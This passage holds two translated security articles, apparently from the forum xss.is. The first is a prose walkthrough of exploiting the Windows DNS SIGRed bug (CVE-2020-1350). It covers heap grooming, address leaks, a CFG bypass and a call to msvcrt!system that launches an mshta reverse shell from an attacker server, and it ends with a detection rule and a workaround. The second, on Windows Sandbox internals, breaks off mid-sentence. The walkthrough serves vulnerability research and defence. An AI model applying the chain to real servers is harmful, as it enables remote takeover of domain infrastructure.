В приведенном выше примере для байта 0xC0 (выделенного в зеленом поле выше) установлены два старших бита. Это означает, что следующие 14 битов представляют смещение имени DNS относительно начала сообщения DNS. В примере, изображенном выше, это 0xC байтов (выделено синим полем) от начала сообщения.
Имена DNS кодируются следующим образом: один байт обозначает количество символов перед символом «.», Заканчивающимся нулевым байтом. Например, www.google.com может быть закодирован как:
что указывает на то, что имя состоит из строки из 3 байтов, точки, 6 байтов, точки и трех байтов, оканчивающихся null.
В случае, изображенном в приведенном выше захвате пакета, смещение указывает на 0x1, потому что запрошенный домен начинается с ’9’. Следовательно, если мы изменим следующие 14 бит с 0x0C на 0x0D, смещение DNS-имени будет указывать на 0x39, указывая на то, что следующая часть имени DNS - 0x39 байт вперед, которая распространяется на часть подписи пакета. Таким образом, мы можем обманом заставить службу Windows DNS вычислить размер DNS-имени, который будет намного больше, чем количество фактических байтов, используемых для представления DNS-имени.
Как видно из декомпиляции dns!SigWireRead
, общий размер, передаваемый в
RR_AllocateEx
, рассчитывается как: signatureLength + sigName.Length + 0x14
. Максимальная длина DNS-имени составляет 0xFF байт. Дополнительных
байтов от длины фальшивого имени достаточно, чтобы вызвать уязвимость, а также
не превышать максимальный размер сообщения 65 КБ!
Более подробное объяснение уязвимости и способов ее активации, в том числе ее активации из браузера, см. В исходной статье [Check Point Research [1].](https://research.checkpoint.com/2020/resolving-your-way-into-domain- admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/)
Эксплуатация
Это был мой первый раз, когда я писал эксплойт RCE в пользовательском режиме,
и я много узнал об эксплуатации кучи. Я надеюсь, что эта статья поможет
другим, кто заинтересован в изучении эксплуатации кучи.
Стратегия эксплуатации этой ошибки интересна тем, что для нее требуются как злонамеренный клиент, так и сервер. Это также зависит от аккуратных манипуляций с кучей, чтобы не только достичь RCE, но и сделать эксплуатацию надежной. В этом разделе будут описаны все необходимые части и показано, как они используются вместе для получения RCE на сервере-жертве.
Триггер****уязвимости без сбоев
Самой трудоемкой частью этого эксплойта было определение правильного способа
управления кучей. В этом разделе мы сосредоточимся на деталях очистки кучи,
чтобы избежать сбоев и контролировать освобождение и выделение буфера кучи.
WinDNS Heap Manager
Прежде всего необходимо понять, как служба WinDNS управляет памятью кучи.
Служба WinDNS управляет собственными пулами памяти [[3]](https://datafarm-
cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows-
server-2012-2016-2019-80dd88594228). Если запрошенный размер буфера превышает
0xA0 байт, он запросит память у собственного диспетчера кучи Windows
(HeapAlloc). В противном случае он будет использовать бакет пула памяти
(размеры 0x50, 0x68, 0x88 и 0xa0). Буферы в каждом из сегментов хранятся в
односвязном списке. Если в выбранном сегменте больше нет доступных буферов, из
собственной кучи будет запрошен фрагмент памяти, разделенный на отдельные
буферы, а затем добавленный в список соответствующего сегмента. Для буферов
размером 0x50, 0x68, 0x88 и 0xA0 запрашиваются блоки памяти размером 0xFF0,
0xFD8, 0xFF0 и 0xFA0 соответственно.
Когда буферы в одном из сегментов памяти освобождаются, они не возвращаются в собственную кучу Windows. Вместо этого они добавляются обратно в список доступных буферов для этого сегмента. Буферы распределяются по принципу «последним вошел - первым ушел» (LIFO), то есть последний освобожденный буфер будет следующим, который будет выделен.
WinDNS Buffer Structure
Структура буфера WinDNS следующая:
Это пригодится при эксплуатации.
Как избежать ошибки сегментации во время memcpy
Первой проблемой, с которой я столкнулся при написании эксплойта, была ошибка
сегментации, возникающая во время memcpy
большой подписи в выделенный буфер
на основе кучи. Я должен был убедиться, что все байты переполнения были
скопированы в действующий адрес памяти.
Изучая структуру кучи, я обнаружил, что собственный диспетчер кучи Windows выделял блоки памяти бакета во «внутреннем» сегменте кучи размером 0x41FD0-0x41FF0. По моим наблюдениям, эти сегменты кучи содержат только фрагменты памяти, используемые для сегментов памяти WinDNS. Итак, если мы гарантируем, что размер переполненного буфера меньше 0xA0, мы можем быть уверены, что он будет в одном из этих фрагментов.
Этот буфер будет где-то внутри сегмента кучи размером ~ 0x41ff0. Общее количество необходимых байтов немного больше 0xFFFF. Следовательно, вероятность того, что полное переполнение окажется по действительному адресу памяти, относительно высока.
Делаем отверстие
Мы можем гарантировать наши шансы попасть на действительный адрес памяти, если
сможем инициировать освобождение буфера в середине множества смежных сегментов
кучи, перераспределить его и переполнить буфер. Это распространенный метод
эксплуатации кучи.
Процесс создания дыры в куче и ее перераспределения состоит из нескольких основных шагов:
Предотвращение сбоев из-за перезаписи других объектов в куче
Хотя мне удалось надежно избежать ошибок сегментации во время memcpy, я все же
столкнулся со многими другими сбоями из-за перезаписи объектов в куче.
Я решил заглянуть в WinDbg, чтобы узнать, какие типы буферов выделяются рядом с переполненным буфером.
Я увидел, что новые блоки памяти WinDNS размером 0xFF0 и 0xFA0 выделялись рядом с буфером кучи, который я переполнял. Последнее возникло в результате распыления кучи (буферы записи размером 0xA0). Но как насчет кусков размером 0xFF0? Они содержали буферы размером 0x88, используемые для хранения объектов, связанных с кешем записей DNS, который сохраняется в виде двоичного дерева. Я перезаписывал объекты дерева кеша и вызывал сбой при обходе дерева.
На этом этапе решение стало ясным. Помните, что переполненный буфер находится в сегменте кучи, который используется только другими блоками памяти, управляемыми WinDNS. Это означает, что перезаписываемые объекты имеют размер <= 0xA0 и помещаются в один из сегментов памяти, управляемых WinDNS. Мы знаем, что буферы в этих сегментах памяти никогда не возвращаются в исходную кучу, а вместо этого возвращаются в список свободных буферов соответствующего размера сегмента. Итак, мы можем очистить кучу, принудительно выделив много буферов размером 0x88 и освободив их. Как только они будут освобождены, они будут возвращены в список свободных буферов, избегая необходимости выделять новую память в куче. Затем мы можем обработать кучу множеством буферов, которые не будут освобождены, чтобы гарантировать, что буфер, который мы переполняем, будет в новом сегменте кучи, вдали от объектов, которые мы не хотим перезаписывать.
Перезапись объектов в куче
Теперь, когда мы достаточно подготовили кучу, чтобы избежать сбоя, следующим
шагом будет перезапись объектов кучи, которые будут создавать примитивы
эксплойтов. В последнем разделе мы проделали отверстие для переполненного
буфера. С помощью этой дыры мы настроены на перезапись «одноразовых»
кэшированных записей, которыми мы распыляли кучу.
Знай свое окружение
Поскольку мы спреим кучу, будет выделено много новых блоков памяти. Эти буферы
добавляются к свободному списку непрерывно, что означает, что они
распределяются в непрерывном порядке. Следовательно, порядок выполнения
запросов к записи DNS SIG будет тем же порядком, в котором они появляются в
куче. Итак, мы точно знаем, какие записи будут перезаписаны при переполнении.
RR_Record Structure
Во-первых, давайте посмотрим на структуру кэшированной записи WinDNS:
Знание этого и структуры WINDNS_BUFF упростит создание поддельных объектов RR_Record.
Контроль****освобождения буфера
Раньше мы освобождали выбранные нами буферы записи, просто давая им короткий
TTL и ожидая, пока они истекут и будут освобождены. Это хорошо, но подождать
хотя бы две минуты - проблема. Не потому, что мы нетерпеливы, а потому, что
это дает нам меньше контроля над перераспределением. Будет полезно иметь
возможность запускать немедленное освобождение буферов.
Когда объект RR_Record извлекается из кеша для ответа на запрос, поля dwTTL и dwTimeStamp сначала проверяются перед возвратом ответа. Это потому, что возможно, что срок жизни записи уже истек. Помните, что кэш записей очищается только каждые 2 минуты. Возможно, срок действия записи истек между очистками. Мы можем злоупотребить этим, просто обнулив поля dwTTL и dwTimeStamp в поддельном объекте RR_Record и отправив запрос для соответствующего поддомена. Это приведет к освобождению буфера.
Контроль выделениябуфера****
Теперь управление распределением буфера стало простым. Поскольку буферам
WinDNS выделяется LIFO, как только мы освобождаем буфер, он будет выделяться
следующим размером корзины. Еще лучше, поскольку мы также контролируем
значения в структуре WINDNS_BUFF
, мы можем подделать размер исходного
буфера! Это означает, что мы можем размещать объекты разного размера в
контролируемой нами области кучи.
Утечка памяти
Утечка адресов кучи
Теперь мы можем найти адрес в куче, выполнив следующие действия:
WINDNS_FREE_BUFF
освобожденной записи под ним. Это приводит к утечке действительного адреса кучи в поле pNextFreeBuff.Отлично, мы получили первую утечку памяти! Однако на самом деле мы не знаем,
где находится указатель утечки относительно контролируемой нами области кучи.
Было бы еще лучше, если бы мы могли получить адрес нашего переполненного
буфера. Для этого мы можем просто освободить два фальшивых объекта RR_Record
и передать WINDNS_FREE_BUFF
из буфера, который мы освободили последним.
Когда буфер освобождается, указатель на буфер, который был освобожден до его
записи, записывается в поле pNextFreeBuff
.
Теперь мы знаем точный адрес части кучи, которую мы контролируем! Это пригодится позже.
Ищем адрес dns.exe
Затем нам нужно пропустить адрес внутри dns.exe, чтобы обойти ASLR
[5]. Для
утечки адресов внутри dns.exe мы можем инициировать выделение объекта особого
типа, который я буду называть объектом DNS_Timeout.
Объект DNS_TimeOut имеет следующую структуру:
Когда срок действия записи DNS истекает, вызывается dns! RR_Free. Если запись
DNS имеет тип DNS_TYPE_NS
, DNS_TYPE_SOA
, DNS_TYPE_WINS
или
DNS_TYPE_WINSR
[[6]](https://docs.microsoft.com/en-us/windows/win32/dns/dns-
constants), они не освобождаются немедленно. Вместо этого вызывается
dns!Timeout_FreeWithFunctionEx
.
В Timeout_FreeWithFunctionEx буфер WinDNS выделяется для объекта DNS_Timeout. Затем адрес RR_Free и строка записываются в поля pFreeFunction и pszFile соответственно. Это будут утечки наших адресов dns.exe. Если мы инициируем выделение объекта тайм-аута в области кучи, которую мы контролируем, мы можем использовать тот же метод, что и раньше, для утечки адресов.
Мы инициируем выделение объекта, сначала освобождая фальшивый объект RR_Record с фальшивым размером буфера 0x50, который является размером памяти корзины, выделенной для объекта DNS_Timeout. Затем мы делаем несколько NS-запросов к жертве о домене зла. По истечении срока записи для каждого запроса будет выделен объект тайм-аута. Необходимо выполнить несколько таких запросов на случай, если новые буферы размером 0x50 были освобождены в ожидании истечения срока действия NS-записей. Мы снова можем вызвать утечку памяти, сделав запрос на кешированную запись над ней, с поддельным большим wRecordSize.
Теперь, когда у нас есть утечка адресов внутри dns.exe, мы можем использовать их для вычисления адресов функций внутри двоичного файла. Взяв последние 12 бит адресов утечки, мы можем создать сопоставление смещений для различных версий dns.exe.
Первоначально я думал, что могу инициировать выделение объекта тайм-аута,
просто освободив поддельный объект RR_Record с помощью wRecordType = DNS_TYPE_NS
. Таким образом, вам не придется ждать 2 минуты, пока истечет срок
действия NS-записей. Однако, когда я пытался это сделать, некоторая проверка
предотвращает вызов RR_Free на fakeRR_Records с измененным wRecordType. У меня
не хватило времени на изучение проблемы, так что это потенциальная область для
улучшения.
Наконец, у нас есть все, что нужно для произвольного примитива чтения.
Обратите внимание, что у нас уже есть возможность получить выполнение кода,
перезаписав указатель pFreeFunction
в выделенном объекте DNS_timeout. В
функции dns!Timeout_CleanupDelayedFreelist
адрес функции в pFreeFunction
вызывается для каждого объекта тайм-аута в CoolingDelayedFreeList
. Этот
список содержит объекты DNS_Timeout, представляющие записи, готовые к
освобождению. К счастью, объект DNS_Timeout содержит поле для одного
параметра, который передается этой функции.
Мы можем снова активировать уязвимость после того, как объект тайм-аута будет выделен для перезаписи этих полей.
Современные версии dns.exe скомпилированы с помощью Control Flow Guard (CFG) [[4]](https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow- guard). Одним из известных способов обойти CFG является повреждение адресов возврата в стеке [[11]](https://improsec.com/tech-blog/bypassing-control-flow- guard-in-windows-10) и выполнение с использованием метода ROP [7]. Однако в настоящее время у нас нет стабильного способа записи в стек. Вместо этого мы можем найти действительную цель вызова (то есть функцию в dns.exe) для использования для примитива. Подходящим кандидатом является dns! NsecDnsRecordConvert, который принимает один параметр [[3]](https://datafarm- cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows- server-2012-2016-2019-80dd88594228).
Параметр NsecDnsRecordConvert должен иметь следующую структуру:
Внутри этой функции выделяется буфер и выполняется вызов Dns_StringCopy. В этом и заключается читаемый примитив. Поскольку мы контролируем переданный параметр функции и его содержимое, мы можем сделать поле pDnsString адресом, который мы хотим прочитать. Внутри DNS_StringCopy выделяется буфер и данные, на которые указывает pDnsString (до нулевого байта), копируются в него.
Поскольку мы также контролируем wSize, мы контролируем размер выделяемого буфера. Итак, мы принудительно выделяем новый буфер в контролируемую нами область кучи. После того, как данные были скопированы, мы производим утечку памяти тем же способом, что и раньше.
Читаемый адрес должен находиться где-то в таблице импорта dns.exe, которая содержит адрес из msvcrt.dll. Я выбрал dns!_Imp_exit, который содержит адрес msvcrt!exit. Это нарушит ASLR файла msvcrt.dll. Таким образом, мы можем вычислить адрес msvcrt!system.
Примечание: Dns_StringCopy ожидает скопировать строку с завершающим нулем. Если младший байт адреса равен 0x00, размер вычисляемой строки будет равен 1, и адрес не будет скопирован. В образцах, которые я получил, это не было проблемой, но я не тестировал все возможные версии msvcrt.dll.
Удаленное выполнение кода
Теперь все компоненты готовы к удаленному выполнению кода. Мы снова можем
инициировать выделение объекта DNS_Timeout. Затем мы перезаписываем
pFreeFunction с помощью msvcrt! System и pFreeFuncParam с адресом кучи в
памяти, который содержит команду полезной нагрузки. Чтобы получить обратную
оболочку, я решил использовать mshta.exe для выполнения оболочки HTA с HTTP-
сервера, размещенного злоумышленником. Я обнаружил, что это самое простое
решение, но есть много других возможностей. Эксплойт также может быть
переработан для использования любых других функций вместо системных.
Обнаружение эксплуатации
Выпущенный PoC включает правило
Grapl
для обнаружения эксплуатации SIGRed. Чтобы реализовать правило для
предпочитаемого вами SIEM, найдите недопустимые дочерние процессы dns.exe.
Обратите внимание, что это правило будет обнаруживать эксплойты только с
выпущенными эксплойтами PoC и DoS. Возможно, злоумышленник может переработать
эксплойт, чтобы реализовать полезную нагрузку, которая остается в контексте
процесса dns.exe. Узнайте, как Grapl может помочь защитить вашу
инфраструктуру.
Если исправление невозможно, доступно обходное решение:
Обходной путь блокирует использование, ограничивая размер получаемого сообщения DNS TCP до 0xFF00 байтов. Это предотвращает целочисленное переполнение при вычислении размера буфера, необходимого для кэширования записи SIG.
Заключение
Эта запись в блоге является частью инициативы Grapl по усилению защитных
технологий путем инвестирования в исследования безопасности. Если вам
понравился этот пост, подпишитесь на обновления Grapl, чтобы получать больше
информации!
Благодарности
*переводить не стал
Sagi Tzadik of CheckPoint research, for the
original vulnerability discovery and [write-
up](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-
exploiting-a-17-year-old-bug-in-windows-dns-servers/).
maxpl0it, who wrote the first public DoS PoC
for this bug, and answered a
ton of my questions. He also kindly provided me with some of his research
notes. My exploit uses code from his PoC as a basis.
Worawit Wang, who released a [write
up](https://datafarm-cybersecurity.medium.com/exploiting-sigred-
cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228) about exploiting
SIGRed. I used several of the discussed techniques.
Andréa, for her excellent work creating the
graphics in this write-up.
Connor McGarr, who also wrote a DoS PoC for
SIGRed and answered my questions.
Michael Maltsev, the creator of
Winbindex, from which I was able to obtain
many samples of dns.exe and msvcrt.dll to preprogram offsets.
InsanityBit and
Grapl, for supporting this research.
Источники
От ТС
Материал взят [тут](https://www.graplsecurity.com/post/anatomy-of-an-exploit-
rce-with-cve-2020-1350-sigred)
Спасибо weaver за наводку
Перевод:
Azrv3l cпециально для xss.is
Исследование от:Alex Ilgayev
Введение
Два года назад Microsoft выпустила новую функцию в составе сборки Insiders
build 18305 – Windows Sandbox.
У этой песочницы есть несколько полезных характеристик:
Судя по сопутствующему [техническому сообщению](https://techcommunity.microsoft.com/t5/windows-kernel- internals/windows-sandbox/ba-p/301849), мы можем сказать, что Microsoft достигла важной технической вехи. В результате песочница представляет лучшее из обоих миров: с одной стороны, песочница основана на технологии Hyper-V, что означает, что она наследует строгую безопасность виртуализации Hyper-V. С другой стороны, песочница содержит несколько функций, которые позволяют совместно использовать ресурсы с хост-машиной, чтобы снизить потребление ресурсов ЦП и памяти.
Одна из интересных особенностей имеет особое значение, и мы подробно остановимся на ней здесь.
Динамически генерируемый образ
Гостевой диск и файловая система создаются динамически и реализуются с
использованием файлов в файловой системе хоста.
Мы решили углубиться в эту технологию по нескольким причинам:
В этой статье мы разберем несколько компонентов, последовательность выполнения, поддержку драйверов и схему реализации функции динамического изображения. Мы покажем, что задействовано несколько внутренних технологий, таких как настраиваемый тег повторной обработки NTFS, многоуровневое распределение VHDx, конфигурация контейнера для надлежащей изоляции, драйверы виртуального хранилища, vSMB через VMBus и многое другое. Мы также создадим настраиваемую песочницу FLARE VM для анализа вредоносных программ, время запуска которой составляет всего 10 секунд!
Основные компоненты
Сложная экосистема Hyper-V и ее модулей уже широко исследована. Было
обнаружено несколько уязвимостей, таких как VmSwitch
RCE, который может вызвать
полный переход от гостя к хосту. Несколько лет назад Microsoft представила
контейнеры Windows (в основном для серверов), функцию, которая позволяла
запускать Docker изначально в Windows, чтобы упростить развертывание
программного обеспечения.
Обе эти технологии также были представлены на платформе конечных точек Windows 10 в виде двух компонентов:WDAG (Application Guard в Защитнике Windows) и, совсем недавно, Windows Sandbox. В последнее время WDAG и еще одна интересная функция для изоляции Office были объединены в [MDAG - Microsoft Defender Application Guard](https://docs.microsoft.com/en-us/windows/security/threat- protection/microsoft-defender-application-guard/md-app-guard-overview).
На конференции POC2018 Юнхай Чжан представил презентацию, в которой он подробно остановился на архитектуре и внутреннем устройстве WDAG. Как мы демонстрируем, Windows Sandbox использует те же технологии для своей базовой реализации.
Песочницу можно разделить на три компонента: две службы - CmService.dll
и
vmcompute.exe
- и созданный рабочий процесс vmwp.exe
.
Подготовка песочницы
У каждой виртуальной машиной на базе Hyper-V есть файл VHDx, виртуальный диск,
который используется машиной. Чтобы понять, как создается диск, мы посмотрели
на рабочую папку активно запущенной песочницы:
%PROGRAMDATA%\Microsoft\Windows\Containers
. Удивительно, но мы нашли более 8
файлов VHDx.
Мы можем отслеживать основной файл VHDx по его динамическому размеру по
следующему пути -
Sandboxes\29af2772-55f9-4540-970f-9a7a9a6387e4\sandbox.vhdx
, где GUID
генерируется случайным образом при каждом запуске песочницы.
Когда мы вручную монтируем файл VHDx, мы видим, что большая часть его файловой системы отсутствует (это явление также видно в исследовании WDAG Чжана, упомянутом ранее).
Мы сразу видим знак «X» на значке папки. Если мы включим столбец «атрибуты» в проводнике, мы увидим два необычных атрибута NTFS. Это объясняется здесь:
**O – Offline
L – Reparse Point**
[Reparse Point](https://docs.microsoft.com/en-us/windows/win32/fileio/reparse- points) - это расширение NTFS, которое позволяет создавать «ссылку» на другой путь. Он также играет роль в других функциях, таких как монтаж тома. В нашем случае имеет смысл использовать эту функцию, поскольку большинство файлов «физически» не присутствуют в файле VHDx.
Чтобы понять, на что указывает повторная обработка и что там, мы углубимся в структуру NTFS.
Исследование****записи MFT
В главной таблице файлов (MFT) хранится информация, необходимая для извлечения
файлов из раздела NTFS. Файл может иметь одну или несколько записей MFT и один
или несколько атрибутов. Мы можем запустить популярный инструмент форензики
Volatility с опцией mftparser
для анализа всех записей MFT в базовой
файловой системе. Это можно сделать с помощью следующей команды:
Code:Copy to clipboard
volatility.exe -f sandbox.vhdx mftparser --output=body -D output --output-file=sandbox.body
Когда мы ищем в выходных данных запись kernel32.dll
(образец системного
файла), мы встречаем следующий текст:
Code:Copy to clipboard
0|[MFT FILE_NAME] Windows\System32\kernel32.dll (Offset: 0x3538c00)|1251|---a---S--o----|0|0|764456|1604310972|1596874670|1603021550|1596874670
0|[MFT STD_INFO] Windows\System32\kernel32.dll (Offset: 0x3538c00)|1251|---a---Sr-o----|0|0|764456|1606900209|1596874670|1603021550|1596874670
Мы можем видеть такие же атрибуты повторной обработки («S») и офлайн («o»),
что и раньше, но Volatility не дает нам никакой дополнительной информации. Мы
можем использовать смещение записи MFT, 0x3538c00
, для запуска собственного
ручного синтаксического анализа.
Для анализа мы использовали следующую документацию
NTFS. Мы не
предоставляем полную спецификацию формата MFT, но, проще говоря, записи MFT
содержат переменное количество атрибутов, и каждый из них имеет свой
собственный заголовок и полезную нагрузку. Мы ищем атрибут $REPARSE_POINT
,
который определяется порядковым номером 0xC0
.
Наши усилия по синтаксическому анализу со структурами, перечисленными выше, дают следующие данные:
Code:Copy to clipboard
$REPARSE_POINT Attribute
--------------- Attribute Header ---------------
C0 00 00 00 - Type ($REPARSE_POINT)
78 00 00 00 - Length
00 - Non-resident flag
00 - Name length
00 00 - Offset to the name
00 00 - Flags
03 00 - Attribute Id (a)
5C 00 00 00 - Length of the attribute
18 00 - Offset to the attribute
00 - Indexed flag
00 - Padding
---------------- Attribute Data ----------------
18 10 00 90 - Reparse tag
54 00 - Reparse data length
00 00 - Padding
----------------- Reparse Data -----------------
01 00 00 00 - Version ?
00 00 00 00 - Reserved ?
77 F6 64 82 B0 40 A5 4C BF 9A 94 4A C2 DA 80 87 - Referenced GUID
3A 00 - Path string size
57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00
53 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00
5C 00 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00
32 00 2E 00 64 00 6C 00 6C 00 - Path string
Несколько важных замечаний:
0x90001018
определяется здесь как IO_REPARSE_TAG_WCI_1
со следующим описанием:«Используется фильтром изоляции контейнеров Windows. Только интерпретация на стороне сервера, не имеет смысла по сети».
GUID 77 F6 64 82 B0 40 A5 4C BF 9A 94 4A C2 DA 80 87
как жестко закодированным значением. Это значение указывает ссылку на базовый уровень хоста, о котором мы поговорим позже.Windows\System32\kernel32.dll
Основываясь на приведенной выше информации, мы можем сделать вывод, что файлы «связаны» базовой файловой системой (вероятно, с назначенным фильтром FS), но многие вопросы все еще остаются без ответа: как создается VHDx, какова цель других VHDx, и какой компонент отвечает за связывание с файлами хоста.
Уровни VHDx
Если мы отследим журналы Procmon во время создания песочницы, мы замечаем
серию попыток доступа к VHDx:
Хотя первый - это «настоящий» VHDx, который мы проанализировали ранее, за ним следуют 3 других доступа к VHDx. Мы подозреваем, что Microsoft использовала несколько слоев для шаблонов виртуальных дисков.
Нашу теорию легко проверить, проверив файлы VHDx с помощью двоичного редактора:
Родительский локатор в формате VHDx может быть задан несколькими способами: абсолютный путь, относительный путь и путь к тому. Документацию можно найти [здесь](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms- vhdx/b6332a98-624d-46b8-bd0e-b77b573662f9)
Обладая этими знаниями, мы можем построить следующие слои:
Sandboxes\<new_sandbox_guid>\sandbox.vhdx
- «настоящий» VHDx.Sandboxes\<constant_guid_per_installation>\sandbox.vhdx
- создается один раз для каждой установки песочницы.BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\Snapshot\SnapshotSandbox.vhdx
- Возможно, относится к моментальному образу базового уровня.PortableBaseLayer\SystemTemplateBase.vhdx
- Базовый шаблон.Когда мы просматриваем эти виртуальные диски, мы замечаем, что файлы все еще отсутствуют; некоторые системные папки пусты, а также папки для пользователей / программных файлов и различных других файлов.
Игра с Procmon приводит нас к пониманию того, что отсутствует еще один важный уровень: базовый уровень ОС.
Базовый уровень ОС
Основной файл базового уровня ОС находится в рабочей папке песочницы по
следующему пути:
BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\BaseLayer.vhdx.
Посмотрев на процесс установки через Procmon, мы увидим, что следующий файл
.wim
(Windows Imaging Format):
C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim
,
извлекается в папку PortableBaseLayer
с тем же именем и является скопирован
и переименован в файл базового слоя выше.
Это показывает еще одно сходство между WDAG и Windows Sandbox.
Когда мы просматривали диск BaseLayer.vhdx
, мы могли видеть полную структуру
созданной песочницы, но системные файлы все еще «физически» отсутствовали.
Анализ записи MFT для kernel32.dll
, как мы делали ранее, приводит к тому же
атрибуту $REPARSE_POINT
, но с другим тегом: 0xA0001027: IO_REPARSE_TAG_WCI_LINK_1.
Запомните этот тег на будущее.
Кроме того, когда мы запускаем команду mountvol
, мы видим, что VHDx базового
уровня монтируется в тот же каталог, где он существует:
Служба, отвечающая за монтирование этого тома и все предыдущие функции,
которые мы упоминали до этого момента, - это служба диспетчера контейнеров
CmService.dll
.
Эта служба запускает исполняемый файл с именем cmimageworker.exe
с одним из
следующих параметров командной строки, expandpbl/deploy/clean
, для
выполнения этих действий.
Мы можем наблюдать вызов computestorage!HcsSetupBaseOSLayer
в
cmimageworker.exe
и часть фактического создания базового уровня в
computestorage.dll
.
Microsoft выпустила следующее заявление относительно песочницы:
Code:Copy to clipboard
Это часть Windows - все, что требуется для этой функции, входит в состав Windows 10 Pro и Enterprise. Нет необходимости скачивать VHD!
Мы уже понимаем важные детали реализации этой функции. Давайте продолжим наблюдать, как выполняется контейнер.
Запуск песочницы
Запуск приложения Windows Sandbox запускает поток выполнения, здесь мы не
будем вдаваться в подробности. Мы просто упомянем, что поток приводит к тому,
что CmService выполняет vmcompute!HcsRpc_CreateSystem
через вызов RPC.
Другая важная служба, vmcompute.exe
, запускает и координирует все
вычислительные системы (контейнеры) на хосте.
В нашем случае команда CreateSystem также получает следующий конфигурационный JSON, который описывает желаемую машину:
Примечание - JSON вырезан для удобства чтения. Вы можете получить доступ к полному JSON в Приложении A.
JSON:Copy to clipboard
{
"Owner": "Madrid",
...
"VirtualMachine": {
...
"Devices": {
"Scsi": {
"primary": {
"Attachments": {
"0": {
"Type": "VirtualDisk",
"Path": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\Sandboxes\\025b00c8-849a-4e00-bcb2-c2b8ec698bab\\sandbox.vhdx",
...
}
}
}
},
...
"VirtualSmb": {
"Shares": [{
"Name": "os",
"Path": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\BaseImages\\0949cec7-8165-4167-8c7d-67cf14eeede0\\BaseLayer\\Files",
...
}],
` },
...
},
...
"RunInSilo": {
"SiloBaseOsPath": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\BaseImages\\0949cec7-8165-4167-8c7d-67cf14eeede0\\BaseLayer\\Files",
"NotifySiloJobCreated": true,
"FileSystemLayers": [{
"Id": "8264f677-40b0-4ca5-bf9a-944ac2da8087",
"Path": "C:\\",
"PathType": "AbsolutePath"
}]
},
...
},
...
}
Этот JSON создается в
CmService!Container::Manager::Hcs::Details::GenerateCreateComputeSystemJson
.
Нам не удалось отследить ни один файл, который помогает построить эту
конфигурацию.
Прежде чем мы начнем анализировать интересные поля в JSON, мы хотим упомянуть эту [статью](https://unit42.paloaltonetworks.com/what-i-learned-from- reverse-engineering-windows-containers/) Palo Alto Networks. В статье рассказывается о внутреннем устройстве контейнера и о том, как связаны объектыJob иSilo.
Первый интересный тег конфигурации - RunInSilo
. Этот тег запускает поток
кода в vmcompute
, который приводит нас к следующей трассировке стека:
Code:Copy to clipboard
3: kd> k
# Child-SP RetAddr Call Site
00 ffff9a00`8da57648 fffff806`85d2b7fb wcifs!WcPortMessage
01 ffff9a00`8da57650 fffff806`85d63499 FLTMGR!FltpFilterMessage+0xdb
... (REDUCTED)
0b 0000004d`4218dbf0 00007ffa`08c5363d FLTLIB!FilterSendMessage+0x31
0c 0000004d`4218dc40 00007ffa`08c48686 wc_storage!WciSetupFilter+0x195
0d 0000004d`4218dcf0 00007ffa`22e06496 wc_storage!WcAttachFilterEx+0x156
0e 0000004d`4218dee0 00007ffa`22de5a66 container!container::FilesystemProvider::Setup+0x15e
0f 0000004d`4218dfc0 00007ffa`22ded4ad container!container_runtime::CreateContainerObject+0x106
10 0000004d`4218e010 00007ffa`22decf3c container!container::CreateContainer+0x10d
11 0000004d`4218e4a0 00007ff6`fcf0bc7f container!WcCreateContainer+0x1c
12 0000004d`4218e4d0 00007ff6`fcf0c5c4 vmcompute!ComputeService::JobUtilities::ConvertJobObjectToContainer+0xcb
13 0000004d`4218e590 00007ff6`fce8573f vmcompute!ComputeService::JobUtilities::CreateSiloForIsolatedWorkerProcess+0x4dc
14 0000004d`4218e8c0 00007ff6`fce875c5 vmcompute!ComputeService::Management::Details::PrepareJobForWorkerProcess+0x17b
15 0000004d`4218e9a0 00007ff6`fcee6cbb vmcompute!ComputeService::Management::Details::ConstructVmWorker+0xfd5
... (REDUCTED)
Из стека мы можем понять, что всякий раз, когда вычислительная система
получает конфигурацию разрозненного хранилища, она создает и настраивает
контейнер с помощью вызова container!WcCreateContainer
. В рамках своей
конфигурации он также взаимодействует с драйвером wcifs.sys
через
FLTLIB!FilterSendMessage
. Мы вскоре объясним что это за драйвер и в чём его
назначение.
Вторая интересная особенность - это тег VirtualSmb
для создания
соответствующих общих ресурсов для смонтированного пути базового уровня, о
котором мы упоминали ранее. Мы скоро вернемся к этому.
Изоляция контейнеров
Как видно из трассировки стека, создание контейнера включает открытие канала
связи фильтра на порт \WcifsPort
с помощью драйвера wcifs.sys
, драйвера
фильтра Windows Container Isolation FS Filter. Это [распространенный
метод](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ifs/communication-between-user-mode-and-kernel-mode)
взаимодействия кода пользовательского режима с драйверами фильтров.
Этот драйвер мини-фильтра играет важную роль в реализации виртуализации файловой системы контейнера. Этот драйвер выполняет эту роль как для гостя, так и для хоста.
Драйверы фильтров файловой системы обычно довольно сложные, и этот не исключение. К счастью, Джеймс Форшоу из Google Project Zero недавно написал [отличную статью](https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in- windows-mini-filter.html), в которой объясняется низкоуровневый дизайн драйверов фильтров Windows FS, что помогает нам понять логику в нашем случае.
Логику драйвера можно разделить на 2 части:
WcPreCreate
, WcPostCreate
, WcPreRead
и WcPostRead
. Эти обратные вызовы содержат основную логику, манипулирование данными и правильные перенаправления.Мы объясним некоторые методы, которые использует этот драйвер для понимания экосистемы песочницы.
Начальная конфигурация
Гостевая конфигурация
Как мы уже говорили ранее, и хост, и гость используют этот драйвер, но по-
разному.
Гость получает через реестр набор параметров для первоначальной настройки.
Некоторые из этих параметров находятся в
HKLM\SYSTEM\CurrentControlSet\Control
и
HKLM\SYSTEM\CurrentControlSet\Control\BootContainer
, как мы можем видеть
ниже:
Вы могли заметить IO_REPARSE_TAG_WCI_1
(код 0x90001018
), который мы видели
